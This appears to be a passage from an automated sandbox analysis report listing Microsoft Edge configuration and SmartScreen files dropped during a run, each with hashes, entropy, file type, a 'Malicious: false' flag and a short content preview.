SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b54c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36051.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c13e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0110779183097405
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXWrn:YWLSGTt1o9LuLgfGBPAzkVj/T8lGrn
MD5:	DD7526F7D3F5F09FE99EBE85204E04D9
SHA1:	71B3FA2CC90480DFA3AD7C7FDF7FD84427838098
SHA-256:	7D0097EF3F20D4CED198950C7D15A78E13D4A45BEC066734AEF9CD34616225B7
SHA-512:	B7A12FF7E581C47FB376CF39E82BE5575F6A6D835B84D4C6DA4C4979E31D0A5D75DF49A17D41AEFEDF7BA0227EE5924D9C6E177A635FF53F81CD4E3B5C1EEA51
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732238909381287}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\abdb8a4d-d30a-4f73-8633-508a7e5099b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46101
Entropy (8bit):	6.087922937621822
Encrypted:	false
SSDEEP:	768:nMkbJrT8IeQcrQgxaoMKKGf4oOcoH1bO0fEOtE7l7YEnn6Cioh7DRo+yM/42cRa5:nMk1rT8HRaTcoH14l1n6Foh7VLyMV/Yu
MD5:	2C7CD6B1AEFE3B722442CAF1C248328F
SHA1:	1E394C7CEE648A900CB2B7D895232907D271CA51
SHA-256:	FF54A52EBFB5B339D2256F472703F67BB6C3241E9A076464AAC30685EE056619
SHA-512:	5C9746E14A076724C21FC762E93490CB6FC25709EFE6E925BE2835FC4F9DFFA59CB69C55D633363A57B06A28482BE278CC4CA46FE200AF3AACB443A63CDC7C69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"8eb4b01d-40bd-406e-9cf8-a93bdef1300e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe6de255-2446-4741-a54e-8187684c4681.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44695
Entropy (8bit):	6.095302183716903
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpPKKGf4oOcoH1FDOPuKFPdFuvN7DRo+yM/42cRaLM5:z/Ps+wsI7yn3coH1/N7VLyMV/YoskFoz
MD5:	D3DF05ADA07945B2499D8035FD0DB1B3
SHA1:	299F8888EAD49A07F9EA5DF03924BF29220184AE
SHA-256:	E59A465B9F000AE02BFCE3C3F9EA38BDC08CF0BD06EF7E4DEFE621F44D911448
SHA-512:	2CCDC16B5170ED2E318A1642AF61B87B6A105453049325105A0A626BB64809DC2B1EEDD3A6773DCD859BFD8C7F5BBF3DC3262391ED0BA1F321220D96865FFC6E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSs